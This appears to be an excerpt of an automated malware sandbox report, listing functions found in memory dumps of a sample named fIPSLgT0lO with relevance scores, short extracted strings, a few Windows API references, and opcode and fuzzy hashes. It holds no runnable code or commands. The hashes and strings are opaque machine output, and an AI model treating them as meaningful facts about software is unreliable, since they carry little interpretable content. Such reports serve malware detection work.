Signature Coverage:	31.8%
Total number of Nodes:	22
Total number of Limit Nodes:	1

Executed Functions

Function 05BA03C7 Relevance: 16.1, Strings: 12, Instructions: 1138COMMON

Download Yara Rule

Strings

$p, xrefs: 05BA08DF
$p, xrefs: 05BA0CA9
4, xrefs: 05BA0DAD
$p, xrefs: 05BA082F
,p, xrefs: 05BA0E92
$p, xrefs: 05BA0D02
$p, xrefs: 05BA066B
$p, xrefs: 05BA0D12
$p, xrefs: 05BA081F
$p, xrefs: 05BA08CF
$p, xrefs: 05BA0CB9
$p, xrefs: 05BA065B

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: ,p$4$$p$$p$$p$$p$$p$$p$$p$$p$$p$$p
API String ID: 0-142193208
Opcode ID: fecf491485440a55b5cff9ffeaa9cb95caee617214e66fc9ad370a464a007bc1
Instruction ID: b5104fc5850a1524c9b5db445deb1b06c71ec308618146185960a0734eb597f4
Opcode Fuzzy Hash: fecf491485440a55b5cff9ffeaa9cb95caee617214e66fc9ad370a464a007bc1
Instruction Fuzzy Hash: 82B2E535A042189FDB14DFA8C998FADB7B6FB88300F148199E505AB3A5DB71ED81CF50

Function 05BA06FF Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$p, xrefs: 05BA0CA9
4, xrefs: 05BA0DAD
,p, xrefs: 05BA0E92
$p, xrefs: 05BA0D02
$p, xrefs: 05BA081F
$p, xrefs: 05BA08CF

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: ,p$4$$p$$p$$p$$p
API String ID: 0-3956653638
Opcode ID: c34b77a2789b16b752eb8fc2479cee2fcb63a7993177afc66a671ac242affb8e
Instruction ID: 4fce1c51b8a559f2a0e90677656eb8ddc0e7b95d5b70d08045e42d98be9ac0a4
Opcode Fuzzy Hash: c34b77a2789b16b752eb8fc2479cee2fcb63a7993177afc66a671ac242affb8e
Instruction Fuzzy Hash: 4122E635A04219DFDB24DF64C988BADB7B6FF48300F1481D9E909AB2A5DB71AD81CF50

Function 05BA3808 Relevance: 3.2, Strings: 2, Instructions: 668COMMON

Download Yara Rule

Strings

$p, xrefs: 05BA3AD6
Plp, xrefs: 05BA39F0

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: Plp$$p
API String ID: 0-2450700522
Opcode ID: 22c489b3dd22f1264f9cf26338ff2cc0e10b2e90db5c13800fcc9d5cf16cc395
Instruction ID: 3cb6d20d475f18eeb0d22272797281357cf9b2e0ee603d1962fc765ad6e696ea
Opcode Fuzzy Hash: 22c489b3dd22f1264f9cf26338ff2cc0e10b2e90db5c13800fcc9d5cf16cc395
Instruction Fuzzy Hash: 24423635B046058FCB14DF28C985A6AB7F6FF89311B2589A9E406CB3B5DB35EC42CB50

Function 05BC0B58 Relevance: 2.0, Strings: 1, Instructions: 736COMMON

Download Yara Rule

Strings

(p, xrefs: 05BC0E48

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (p
API String ID: 0-4175582459
Opcode ID: 01b879b4b8d36ea52d6a3e1fe579dd9fd3d5c998994184db494a69b6270d4bff
Instruction ID: 9d4d614b8e8a0953f9177bf15a8e01670dadba13679c60347610a175903f9224
Opcode Fuzzy Hash: 01b879b4b8d36ea52d6a3e1fe579dd9fd3d5c998994184db494a69b6270d4bff
Instruction Fuzzy Hash: DD526974B006068FCB19DFA9C498A6EBBF2FF88300F2485ADD55AD7351DB30A915CB94

Function 05BC2728 Relevance: 1.7, APIs: 1, Instructions: 156libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05BC2807

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1e573cfcd4608866082722c8ff8a98f4ec1e75236127724059bce9617b9b63dd
Instruction ID: c52155027f3365f1e6e882eb5e3689bda64b15947f06f34c0bff50c1d20bd7e5
Opcode Fuzzy Hash: 1e573cfcd4608866082722c8ff8a98f4ec1e75236127724059bce9617b9b63dd
Instruction Fuzzy Hash: FE516B38A08204CFDB14CB24D484BB9BBB3FB88315F1540FEE0869B654CB75AC85CB59

Function 05BC24C8 Relevance: 1.6, APIs: 1, Instructions: 148COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 05BC2594

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 33bf7fa53370c85893ec035278482ec9588bfbbd97234dfa0409dc0477b5968a
Instruction ID: 50ef1c0f84f212f6045f2616c01b78837598c8d564c884932115b883a54179a8
Opcode Fuzzy Hash: 33bf7fa53370c85893ec035278482ec9588bfbbd97234dfa0409dc0477b5968a
Instruction Fuzzy Hash: 57514E343081018FC764EB68E499B7A33E6EB9C365F4600B9D49ACB369DF399D42C751

Function 05BC24D8 Relevance: 1.6, APIs: 1, Instructions: 143COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 05BC2594

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1a4d269fe8440f348a1679dee5d4289ff8b06b9c7a87e6b61e3dfb7079610d4c
Instruction ID: 2fc025723a94c90f0e495e1853b9ab80a3623607c5b9af0cb38383280c72d80c
Opcode Fuzzy Hash: 1a4d269fe8440f348a1679dee5d4289ff8b06b9c7a87e6b61e3dfb7079610d4c
Instruction Fuzzy Hash: B5512C343081018FC764EB68E499B7A33E6EB9C365F4600B9D49ACB359DF399D42C751

Function 05BC4A98 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\V]m, xrefs: 05BC4CE3

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: \V]m
API String ID: 0-4105700344
Opcode ID: d7857c1039d8ecc3e6777a0fe1dadd20143c7db417774c45e2a6cc79cc08eccb
Instruction ID: 2ecbd3d2d44dfaff49006752d16a13c44c8b379e4574b288bbbb6a9b09ad89d9
Opcode Fuzzy Hash: d7857c1039d8ecc3e6777a0fe1dadd20143c7db417774c45e2a6cc79cc08eccb
Instruction Fuzzy Hash: 08917B70E002098FCF10DFA8C9917AEBFF2FB88305F1481A8E415AB294DB34A945CB95

Function 0197F960 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

8=G, xrefs: 0197FC8E

Memory Dump Source

Source File: 00000000.00000002.2928114863.0000000001970000.00000040.00000800.00020000.00000000.sdmp, Offset: 01970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1970000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 8=G
API String ID: 0-4187469009
Opcode ID: 30048cca23e91d1c6895ee2b8cc207089f4b8d6dcc1d5473d7c3b26c7f886fb6
Instruction ID: 70b381dc2a0a963cf3971641894c77d75255b0d68e3fd442ea1d3b9ff49bc31b
Opcode Fuzzy Hash: 30048cca23e91d1c6895ee2b8cc207089f4b8d6dcc1d5473d7c3b26c7f886fb6
Instruction Fuzzy Hash: 11811770A04209DFCB44CFA8D498BADBBF5FF58305F108469D05AAB294DB7A9D85CF41

Function 05BCA8E0 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 184275ca4b2a4f72923b0baf1d40bcdb277f030a3c6cbca209490e22f9fdb21a
Instruction ID: 9baece88d6b906d48dcfc1adc5563470e829eb64fd6a212c6bc23dd3b05c5f3c
Opcode Fuzzy Hash: 184275ca4b2a4f72923b0baf1d40bcdb277f030a3c6cbca209490e22f9fdb21a
Instruction Fuzzy Hash: 1FF14D30A04108CFD754CB69D495BAE7BB3FB88311F2580E9E4469B7A9CB75BD82CB44

Function 05BCA8D1 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdc1c0f23e7656efe66f0bc4cd1f06bf78d3d2562130d40305f6eff61dbec1cb
Instruction ID: ac35d55b61c294c50b509ed71ce79fb9134ccd80af261de8e4966d781a871b63
Opcode Fuzzy Hash: fdc1c0f23e7656efe66f0bc4cd1f06bf78d3d2562130d40305f6eff61dbec1cb
Instruction Fuzzy Hash: 57F14C30A04108DFD754CB69D485BAE7BB3FB88311F2980E9E4469B769CB75AD82CB44

Function 05BC7419 Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415a31c6b743188c92bec23e6a176cb2eeebc9fa63e5f20d5563622bd18eeedd
Instruction ID: 30d1bd62fdf42ee98e2a72f493fb039c0b79024419715632fcd88fb7c2b2c872
Opcode Fuzzy Hash: 415a31c6b743188c92bec23e6a176cb2eeebc9fa63e5f20d5563622bd18eeedd
Instruction Fuzzy Hash: 55D1F430A042058FDB14DB68D594BBA7BB2FB88311F1585ECD4569B2A4EF35AD82CF84

Function 05BCD191 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14738a3e5877285ccbc75eea964b69bb2ed5b680699f06b0736698a09912ef77
Instruction ID: c49e3c7760e346cf3e39dd365223200934635895430c3930dbd9a550b69478d0
Opcode Fuzzy Hash: 14738a3e5877285ccbc75eea964b69bb2ed5b680699f06b0736698a09912ef77
Instruction Fuzzy Hash: 0CD18738A14242CFDB199F34D46876C7BB2FB89306F1085BEE4069B294DF35AC86CB44

Function 05BC7428 Relevance: .3, Instructions: 308COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed1d50f4d585d8124cfa28beffed00f103662dd17a4fff07af2d802a82a5dfa
Instruction ID: 8a1ed7142ee6766efb01dafab08054b07f3c0d564837fbd2efcefa1b2d040fc3
Opcode Fuzzy Hash: 7ed1d50f4d585d8124cfa28beffed00f103662dd17a4fff07af2d802a82a5dfa
Instruction Fuzzy Hash: 21D1F430A042058FDB14DB68D544BBA7BB2FB88311F1585ECD4569B3A4EF35AD82CF84

Function 05BC56B0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0545a8eac5b5ef519baaa8d0716a83f7f02721c83e484f6b5c81d3d79ef06f87
Instruction ID: f720385faec3058649b9e56096517a70c6462705716a3ee550f96ea1356de659
Opcode Fuzzy Hash: 0545a8eac5b5ef519baaa8d0716a83f7f02721c83e484f6b5c81d3d79ef06f87
Instruction Fuzzy Hash: FDB12E70E00209DFDB24CFA9D8857ADBFF2FF48314F1485A9D415AB294EB74A885CB85

Function 05BC6B98 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d7701e0484a298fca16b9499b8ec4752696539355f43926ef1bb60826f68ba5
Instruction ID: 7a46556a43f808f2603df1a8f329292ae8f269d2cc29208c4a7041b74764d4a1
Opcode Fuzzy Hash: 0d7701e0484a298fca16b9499b8ec4752696539355f43926ef1bb60826f68ba5
Instruction Fuzzy Hash: 15917B30608115CFEB14DF68D459FBA7BA3FB89315F1580F9D0069B298DB39AD82CB58

Function 05BC6B8B Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a142c85db034f64be2b5141eb0b1ab81aa3a926e3f6436df9b928b045c80471f
Instruction ID: a85cb2a7989083224778edee3e79f8d52706dca1268e6e1b814f1b37023f8a1d
Opcode Fuzzy Hash: a142c85db034f64be2b5141eb0b1ab81aa3a926e3f6436df9b928b045c80471f
Instruction Fuzzy Hash: 4B917C30608115CFDB14CF68D459FBA7BA3FB89315F1580F9D0069B295DB35AC82CB58

Function 05BC8762 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c4e21e7522ea5c2cc7e1d408e74267d7d942466d1052d638efb796eeff7d33
Instruction ID: eb87a4c2a7d9639a9fdc06cb48518fedcdf74763259de96c0c225499b619999b
Opcode Fuzzy Hash: 79c4e21e7522ea5c2cc7e1d408e74267d7d942466d1052d638efb796eeff7d33
Instruction Fuzzy Hash: DD911630A08209CFEB24CF54D544BBABBB3FB84301F2581EDE4056B655D775AD82CB48

Function 05BC6E15 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2931027476.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5bc0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e43c52dc69111b349de6f8a9c6985eec0b8cdbc6a2ac820961ab107b403c4ca
Instruction ID: 405614126ac9690f575fd2c09802f98450929b3ce6c5d59ad3ba9bc0892702e4
Opcode Fuzzy Hash: 9e43c52dc69111b349de6f8a9c6985eec0b8cdbc6a2ac820961ab107b403c4ca
Instruction Fuzzy Hash: C5513830A08115CFEB14CF58D449FBA7BA3FB89305F5580E9C0069B655DB79AD81CB58

Function 05BA7A08 Relevance: 7.9, Strings: 6, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 05BA7ABC
pp, xrefs: 05BA7B5F
4'p, xrefs: 05BA7A8C
4'p, xrefs: 05BA7B52
(p, xrefs: 05BA7BD2
4'p, xrefs: 05BA7ADA

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (p$4'p$4'p$4'p$4'p$pp
API String ID: 0-2991777393
Opcode ID: 4959729edad30c16f2b181e0a84112da39e322871fcc7c5f6b53d7be4389e6b0
Instruction ID: 3ecfdbfeea084a192f7e6437a707e4539893cc4ee955ecc827981ab8adcc36d7
Opcode Fuzzy Hash: 4959729edad30c16f2b181e0a84112da39e322871fcc7c5f6b53d7be4389e6b0
Instruction Fuzzy Hash: BDD13D32A042159FCB09DF64C844EA9BBB6FF8C310F0545D8E509AB272DB72ED56DB90

Function 05BA6B40 Relevance: 4.2, Strings: 3, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hp, xrefs: 05BA7015
Hp, xrefs: 05BA7044
Hp, xrefs: 05BA7094

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: Hp$Hp$Hp
API String ID: 0-3665545250
Opcode ID: 45fcfd2bc78398af895a696ba2e2dd9ca2ab581374673627095e817812cc0b47
Instruction ID: 0cae0a9a7f3b20ada48617bac0867e3e29dab39592bf7ac2a18068b7b96bf817
Opcode Fuzzy Hash: 45fcfd2bc78398af895a696ba2e2dd9ca2ab581374673627095e817812cc0b47
Instruction Fuzzy Hash: 4E126A72A042059FCB25DFA5C494AAEBBF2FF88300F14856DE5069B365DB31EC46CB50

Function 05BA8400 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 05BA8779
4'p, xrefs: 05BA861A
4'p, xrefs: 05BA86F9

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p$4'p
API String ID: 0-3087666796
Opcode ID: 216f4ab1b4adb02701203406739b0abd56c0448c4c5589734320b476072f36ab
Instruction ID: 8553685423a2855e8d240e94c37e44d61377421fdf9d9e0002e5288570501830
Opcode Fuzzy Hash: 216f4ab1b4adb02701203406739b0abd56c0448c4c5589734320b476072f36ab
Instruction Fuzzy Hash: 45F1C935A14219DFCB08DFA4D998AADBBB2FF88300F158559E506AB365DF71EC42CB40

Function 05BAE108 Relevance: 4.1, Strings: 3, Instructions: 359
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hp, xrefs: 05BAE299
(p, xrefs: 05BAE241
(p, xrefs: 05BAE26D

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (p$(p$Hp
API String ID: 0-3801172158
Opcode ID: 5014e76081a44f1da99675a0bfc16aa976cd8c135b1e7f454fccd6e9263c0bd5
Instruction ID: 11664c69bbc49cf98e330fdc6cf0ee950b2e7790f20f3645014949f2f2623184
Opcode Fuzzy Hash: 5014e76081a44f1da99675a0bfc16aa976cd8c135b1e7f454fccd6e9263c0bd5
Instruction Fuzzy Hash: 9EE11E35B042099FCB04EFA4D5949ADBBB6FF89300F558569E806AB364DB30FD86CB50

Function 05BA9F71 Relevance: 4.0, Strings: 3, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hp, xrefs: 05BAA13D
$p, xrefs: 05BAA1F1
(p, xrefs: 05BAA111

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (p$Hp$$p
API String ID: 0-2214067448
Opcode ID: 2dea7f8c019e6c39f5da86759ccd5d8ad630fd0df93d39495595ef7875f1067d
Instruction ID: 8c2a5055ed8ce68fe966bba594629a292c46c81f79e426eb685f7a2e8ad0502b
Opcode Fuzzy Hash: 2dea7f8c019e6c39f5da86759ccd5d8ad630fd0df93d39495595ef7875f1067d
Instruction Fuzzy Hash: 2271DF317086864FCB25DF79C8107AE7BF2EF85600F1446ADD946CB2A5DA34EE05CB91

Function 05AB0078 Relevance: 3.1, Strings: 2, Instructions: 597COMMON

Download Yara Rule

Strings

4'p, xrefs: 05AB07D4
4'p, xrefs: 05AB07E0

Memory Dump Source

Source File: 00000000.00000002.2930811713.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 6d4739b0aaf085532081952b4a2963531e3a58d48383eb6252ed5e36905a1fa6
Instruction ID: ed1f2e277f7fe15ce57ff0b85a26b1e164b9cf8af28a7182f8b4705341593de3
Opcode Fuzzy Hash: 6d4739b0aaf085532081952b4a2963531e3a58d48383eb6252ed5e36905a1fa6
Instruction Fuzzy Hash: D7027E30B042199FAB359769681CEBF689FFBC4A50B04412AD917D736ADFB0CC4187E2

Function 05BA24F1 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$p, xrefs: 05BA280B
$p, xrefs: 05BA281B

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: $p$$p
API String ID: 0-580715581
Opcode ID: 3304c636eaa34226db60e39a6b173d5ca79c072433e5a981f390f329c737b149
Instruction ID: efa39b858575429fa1cd320b8b0ec7a3fa92060b0c962fa29c3cf8c174c87c8f
Opcode Fuzzy Hash: 3304c636eaa34226db60e39a6b173d5ca79c072433e5a981f390f329c737b149
Instruction Fuzzy Hash: 79126D35E0461A9FCB15DFA5D854ABEBBB2FF48700F148095E801A7394DB79ED42CB90

Function 05BAB538 Relevance: 2.8, Strings: 2, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 05BAB7F0
4'p, xrefs: 05BAB81E

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 381d40c055edc0aafacf201f78cb12d96fee97a6c29d506765814cad0f9f2f21
Instruction ID: c409bfe0452e81e3964a499917994faa163ac78a23d9459f1531cca2556a1409
Opcode Fuzzy Hash: 381d40c055edc0aafacf201f78cb12d96fee97a6c29d506765814cad0f9f2f21
Instruction Fuzzy Hash: 7DC1A875B00218DFCB08DFA8D998AADB7B2FF89300F514159E506AB3A5DB71AC46CB50

Function 05BAB52A Relevance: 2.8, Strings: 2, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 05BAB7F0
4'p, xrefs: 05BAB81E

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 6fece25a7219a4a5869b2271b355dc81df496a844e9c73769fa95b070435d4d3
Instruction ID: c1ac9534d21a9a7d18927cce13658c35818a4304ab656d43331db35165513010
Opcode Fuzzy Hash: 6fece25a7219a4a5869b2271b355dc81df496a844e9c73769fa95b070435d4d3
Instruction Fuzzy Hash: BFC1BA75B00618DFCB08DFA4D998AADB7B2FF89300F114599E506AB3A5DB71EC42CB50

Function 05BA1D78 Relevance: 2.7, Strings: 2, Instructions: 171
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hp, xrefs: 05BA1F0A
(p, xrefs: 05BA1E7B

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (p$Hp
API String ID: 0-3691929625
Opcode ID: a6ffe90624b55885675036c01d8b46e3cc2aa02608a157590fae621e8e33a931
Instruction ID: 0e61511f3373b1fbe64fe14d7e84a549baa54fca367a3904d18663f1314c96de
Opcode Fuzzy Hash: a6ffe90624b55885675036c01d8b46e3cc2aa02608a157590fae621e8e33a931
Instruction Fuzzy Hash: 6A51DB31B046028FC7A8AF79C444A6E77B6FFD4641B9046ADD9068B3A4DF31EC02CB94

Function 05BA9DE0 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(p, xrefs: 05BA9E48
,p, xrefs: 05BA9DF0

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: (p$,p
API String ID: 0-2293223000
Opcode ID: e307e72b7201f2daab06cb7e1a1c16657635e4ad3d84767a9528356b72b98908
Instruction ID: 07e9cd58133baf6f573b3dc8f601fb0683f7a70657598f7a0e8cf243400584cd
Opcode Fuzzy Hash: e307e72b7201f2daab06cb7e1a1c16657635e4ad3d84767a9528356b72b98908
Instruction Fuzzy Hash: 3941B2737041596F8F028EA9AC509FF7FFAEB8C211B08406AFA55D3251CA35D9259BA0

Function 05AB1140 Relevance: 2.6, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'p, xrefs: 05AB1305
4'p, xrefs: 05AB12F9

Memory Dump Source

Source File: 00000000.00000002.2930811713.0000000005AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ab0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$4'p
API String ID: 0-3973980265
Opcode ID: 0e282ddc24ec3b080d6d36919d50c3fece8e97a9c67ad12866a16b2db968cf62
Instruction ID: bd43d9b336fe4cd4f2c63680e8a7560877f84cfafa7bad0df66c65204e1539b3
Opcode Fuzzy Hash: 0e282ddc24ec3b080d6d36919d50c3fece8e97a9c67ad12866a16b2db968cf62
Instruction Fuzzy Hash: 00418B70B21525479F2A67796028DBE299BFBD5A60B14016EC907E7395EFB4CC0283C6

Function 05BA79E2 Relevance: 2.6, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

pp, xrefs: 05BA7B5F
4'p, xrefs: 05BA7A8C

Memory Dump Source

Source File: 00000000.00000002.2930991237.0000000005BA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ba0000_fIPSLgT0lO.jbxd

Similarity

API ID:
String ID: 4'p$pp
API String ID: 0-276496374
Opcode ID: ffd0d8913ce04bf8b77c924cfc2ae0777a0549fdd52f61c15d9cd33b9d5c67c2
Instruction ID: d864c6d062806a301f9d41fa476139b8d3967f986c2559c38ebc94af0ee2399b
